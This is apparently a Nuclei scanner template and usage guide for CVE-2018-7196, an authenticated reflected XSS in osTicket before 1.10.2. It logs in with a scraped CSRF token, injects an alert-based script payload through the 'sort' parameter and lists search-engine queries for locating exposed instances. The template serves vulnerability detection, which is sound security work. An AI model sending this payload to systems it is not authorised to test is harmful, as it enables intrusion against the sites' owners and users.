osTicket < 1.10.2 - Cross-Site Scripting

ID: CVE-2018-7196

Severity: medium

Author: ritikchaddha

Tags: cve,cve2018,osticket,xss,authenticated

Description

Cross-site scripting (XSS) vulnerability in /scp/index.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the “sort” parameter.

YAML Source

id: CVE-2018-7196

info:
  name: osTicket < 1.10.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in /scp/index.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "sort" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7196
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7196
    cwe-id: CWE-79
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2018,osticket,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /scp/index.php?sort="><script>alert(document.domain);</script>&dir=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"><script>alert(document.domain);</script>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022013e589b3c6d2aae0a668363edfb24b6484508ddd01deb71f3db422a2b8fc26b002202ab0d322779c4559ff068595d336b9e9fe2c3107b9773454872f5dfe3f02a0af:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-7196.yaml"

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